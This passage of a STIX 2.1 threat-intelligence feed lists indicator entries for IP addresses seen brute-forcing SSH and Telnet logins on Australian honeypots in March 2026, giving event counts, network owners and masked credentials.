      "pattern": "[ipv4-addr:value = '159.223.196.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d6c6396c-1c2a-480a-b9cf-1d9719297b06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.100.217.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 39405. Organisation(s): Eurofiber France SAS. Usernames observed (masked): r**t. Passwords observed (masked): I***********************6.",
      "id": "indicator--0c0909ca-c320-4ca6-a3dd-bda0849a5ae3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.235.146.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 14259. Organisation(s): Gtd Internet S.A..",
      "id": "indicator--15bac7d0-4e0c-4b40-96dd-6b1dcad16914",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.124.49.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9762. Organisation(s): kt HCN Co.,Ltd..",
      "id": "indicator--77f769e0-7d05-4837-a884-338627242f68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.57.229.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1***@, 1*******#, 1*******@, 3***********4, 3**********4.",
      "id": "indicator--8769a496-cccf-4875-9434-734ee8f537b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.200.237.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--b2c307e4-4c93-436d-be92-410a313fbb1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.224.230.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T01:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 8717. Organisation(s): A1 Bulgaria EAD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********c, 3***********4, 3**********4, A*******8, A*******6.",
      "id": "indicator--37ece8ff-5b87-4a46-bd50-dc0b141fd705",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T01:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.97.24.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T01:15:07.000Z",
      "valid_until": "2026-04-06T01:15:05.000Z"
    },
    {
      "created": "2026-03-05T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--57294872-80de-4bc2-9d86-efae3eeae66e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.178.129.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T02:15:15.000Z",
      "valid_until": "2026-04-06T02:15:11.000Z"
    },
    {
      "created": "2026-03-05T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit. Usernames observed (masked): r**t. Passwords observed (masked): I*************************t.",
      "id": "indicator--d0c3f54a-d7c4-4ae2-9794-774ea4ed57f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T02:15:15.000Z",
      "valid_until": "2026-04-06T02:15:11.000Z"
    },
    {
      "created": "2026-03-05T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********y, 3***********4, 3**********4, A********3, B********3.",
      "id": "indicator--fa0cd797-af84-4821-b1f9-1f4b35448fa8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.232.50.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T02:15:15.000Z",
      "valid_until": "2026-04-06T02:15:11.000Z"
    },
    {
      "created": "2026-03-05T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--33bad5ac-5b1a-40ce-8ae9-9300e38ca81e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.48.38.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T02:15:15.000Z",
      "valid_until": "2026-04-06T02:15:11.000Z"
    },
    {
      "created": "2026-03-05T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********3, A********5, B********3.",
      "id": "indicator--abb56643-14fd-4db7-8670-52af2e4b8fd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.160.200.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T02:15:15.000Z",
      "valid_until": "2026-04-06T02:15:11.000Z"
    },
    {
      "created": "2026-03-05T02:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--622dd7f5-291b-4b5f-8999-720a31588d89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T02:15:15.000Z",
      "valid_until": "2026-04-06T02:15:11.000Z"
    },
    {
      "created": "2026-03-05T02:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********d, 3***********4, 3**********4, B********3, H******6.",
      "id": "indicator--bd3db2f8-d680-4fcc-a9cf-49ad3428ed95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T02:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.77.145.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T02:15:15.000Z",
      "valid_until": "2026-04-06T02:15:11.000Z"
    },
    {
      "created": "2026-03-05T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 140764. Organisation(s): CSD Group Technology JSC..",
      "id": "indicator--d3c14b0d-f132-4653-acaf-14c4b5bf5cdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.160.5.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:15:14.000Z",
      "valid_until": "2026-04-06T03:15:12.000Z"
    },
    {
      "created": "2026-03-05T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, u****u, u**r, f*****r. Passwords observed (masked): 1****6, ***, p******d, P******d, 1******8.",
      "id": "indicator--5c8d26ad-ecc4-416d-ba99-914a75f61add",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.63.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:15:14.000Z",
      "valid_until": "2026-04-06T03:15:12.000Z"
    },
    {
      "created": "2026-03-05T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): c***o, a***n. Passwords observed (masked): A******3, A*******3, a***n.",
      "id": "indicator--f9f0c0b0-7a62-4a09-b544-48d2ab72462b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.106.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:15:14.000Z",
      "valid_until": "2026-04-06T03:15:12.000Z"
    },
    {
      "created": "2026-03-05T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--0acdc189-7f9f-4457-9f98-eb8c23e0e7cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.228.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T03:15:14.000Z",
      "valid_until": "2026-04-06T03:15:12.000Z"
    },
    {
      "created": "2026-03-05T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ade8c28f-7676-45ef-99c7-7ed388d54a3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.248.0.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:15:06.000Z",
      "valid_until": "2026-04-06T04:15:05.000Z"
    },
    {
      "created": "2026-03-05T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***********3.",
      "id": "indicator--0c6399b4-d753-44bb-adfc-b8dd76d3864a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.22.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:15:06.000Z",
      "valid_until": "2026-04-06T04:15:05.000Z"
    },
    {
      "created": "2026-03-05T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2590. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, f*****r, a***n, d******r. Passwords observed (masked): 1****6, ***, 1**4, 1******8, P******d.",
      "id": "indicator--e292a1af-2bed-45f2-b04f-fe102457c46f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.243.174.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:15:06.000Z",
      "valid_until": "2026-04-06T04:15:05.000Z"
    },
    {
      "created": "2026-03-05T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 11562. Organisation(s): Net Uno, C.A..",
      "id": "indicator--cafff783-0f77-4e36-af10-3e1616238ac1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.75.159.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:15:06.000Z",
      "valid_until": "2026-04-06T04:15:05.000Z"
    },
    {
      "created": "2026-03-05T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): r**t. Passwords observed (masked): p**************x.",
      "id": "indicator--40317f30-ef03-4ac7-aa37-3088379794f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:15:06.000Z",
      "valid_until": "2026-04-06T04:15:05.000Z"
    },
    {
      "created": "2026-03-05T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c54c77e2-1890-4422-bcfc-5135be5b17f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:15:06.000Z",
      "valid_until": "2026-04-06T04:15:05.000Z"
    },
    {
      "created": "2026-03-05T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 19871. Organisation(s): Network Solutions, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********t, 3***********4, 3**********4, A********!, P******d.",
      "id": "indicator--a898aac3-80be-47e1-918f-9ec7856ed6e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.49.246.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:15:06.000Z",
      "valid_until": "2026-04-06T04:15:05.000Z"
    },
    {
      "created": "2026-03-05T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7029. Organisation(s): Windstream Communications LLC.",
      "id": "indicator--381b90c2-bd52-4b0c-a494-9c4f9c5a0b3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '75.91.89.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T04:15:06.000Z",
      "valid_until": "2026-04-06T04:15:05.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--9e552a55-92cf-439e-b472-4a03af6816ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--68016460-722c-44e2-84b2-a8f2b9844860",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2621. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, f*****r, a***n, d******r. Passwords observed (masked): 1****6, ***, 1**4, 1******8, P******d.",
      "id": "indicator--6515bf46-86fd-4f33-831f-27a9dca75ef5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.57.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): B********3, q*******3.",
      "id": "indicator--268be8dd-1990-49d3-9af1-b1ef82b1553b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.34.157.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--0a15e00a-0e9c-4f64-a5b6-96ee02c21e68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.127.69.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 14259. Organisation(s): Gtd Internet S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2****4, 3***********4, 3**********4, B********3, K******6.",
      "id": "indicator--8fd398df-7a38-4178-9b6f-aa0b48bde56b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.153.249.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b899efe0-0ce6-4280-806f-3648cee4ef1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-05T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T05:15:13.000Z",
      "valid_until": "2026-04-06T05:15:11.000Z"
    },
    {
      "created": "2026-03-05T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): d*****t. Passwords observed (masked): a****q.",
      "id": "indicator--bab1eddd-b752-4bfb-b2a5-e7208dad541e",
      "labels": [
        "bruteforce"
      ],
